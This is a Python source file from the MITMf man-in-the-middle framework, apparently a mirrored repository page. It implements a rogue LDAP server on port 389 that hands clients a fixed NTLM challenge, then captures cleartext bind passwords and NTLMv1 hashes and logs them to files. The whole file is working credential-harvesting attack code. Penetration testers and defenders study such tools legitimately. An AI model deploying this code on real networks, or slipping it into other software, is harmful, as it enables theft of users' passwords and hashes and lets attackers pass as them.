mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
119 lines
4.4 KiB
Python
119 lines
4.4 KiB
Python
import struct
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import logging
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import threading
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import re
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from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
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from LDAPPackets import *
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from core.responder.common import *
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mitmf_logger = logging.getLogger("mitmf")
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class LDAPServer():
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def start(self, chal):
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global Challenge; Challenge = chal
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try:
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mitmf_logger.debug("[LDAPServer] online")
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server = ThreadingTCPServer(("0.0.0.0", 389), LDAP)
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t = threading.Thread(name="LDAPServer", target=server.serve_forever)
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t.setDaemon(True)
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t.start()
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except Exception as e:
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mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e))
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class ThreadingTCPServer(ThreadingMixIn, TCPServer):
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allow_reuse_address = 1
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def server_bind(self):
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TCPServer.server_bind(self)
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def ParseSearch(data):
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Search1 = re.search('(objectClass)', data)
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Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
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Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
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if Search1:
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return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
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if Search2:
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return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
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if Search3:
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return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
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def ParseLDAPHash(data,client):
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SSPIStarts = data[42:]
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LMhashLen = struct.unpack('<H',data[54:56])[0]
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if LMhashLen > 10:
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LMhashOffset = struct.unpack('<H',data[58:60])[0]
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LMHash = SSPIStarts[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[64:66])[0]
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NthashOffset = struct.unpack('<H',data[66:68])[0]
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NtHash = SSPIStarts[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainLen = struct.unpack('<H',data[72:74])[0]
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DomainOffset = struct.unpack('<H',data[74:76])[0]
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Domain = SSPIStarts[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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UserLen = struct.unpack('<H',data[80:82])[0]
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UserOffset = struct.unpack('<H',data[82:84])[0]
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User = SSPIStarts[UserOffset:UserOffset+UserLen].replace('\x00','')
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writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge
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Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
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WriteData(Outfile,writehash,User+"::"+Domain)
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#print "[LDAP] NTLMv1 complete hash is :", writehash
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mitmf_logger.info('[LDAP] NTLMv1 complete hash is :%s'%(writehash))
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if LMhashLen <2 :
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Message = '[LDAPServer] LDAP Anonymous NTLM authentication, ignoring..'
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#print Message
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mitmf_logger.info(Message)
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def ParseNTLM(data,client):
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Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
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Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
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if Search1:
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NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
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NTLMChall.calculate()
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return str(NTLMChall)
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if Search2:
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ParseLDAPHash(data,client)
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def ParseLDAPPacket(data,client):
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if data[1:2] == '\x84':
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PacketLen = struct.unpack('>i',data[2:6])[0]
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MessageSequence = struct.unpack('<b',data[8:9])[0]
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Operation = data[9:10]
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sasl = data[20:21]
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OperationHeadLen = struct.unpack('>i',data[11:15])[0]
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LDAPVersion = struct.unpack('<b',data[17:18])[0]
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if Operation == "\x60":
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UserDomainLen = struct.unpack('<b',data[19:20])[0]
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UserDomain = data[20:20+UserDomainLen]
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AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
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if AuthHeaderType == "\x80":
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PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
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Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
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#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
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outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
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WriteData(outfile,'[LDAPServer] User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
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mitmf_logger.info('[LDAPServer] User: %s Password: %s'%(UserDomain,Password))
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if sasl == "\xA3":
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buff = ParseNTLM(data,client)
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return buff
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elif Operation == "\x63":
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buff = ParseSearch(data)
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return buff
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else:
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mitmf_logger.info('[LDAPServer] Operation not supported')
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#LDAP Server Class
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class LDAP(BaseRequestHandler):
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def handle(self):
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try:
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while True:
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self.request.settimeout(0.5)
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data = self.request.recv(8092)
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buffer0 = ParseLDAPPacket(data,self.client_address[0])
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if buffer0:
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self.request.send(buffer0)
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except Exception:
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pass #No need to print timeout errors.
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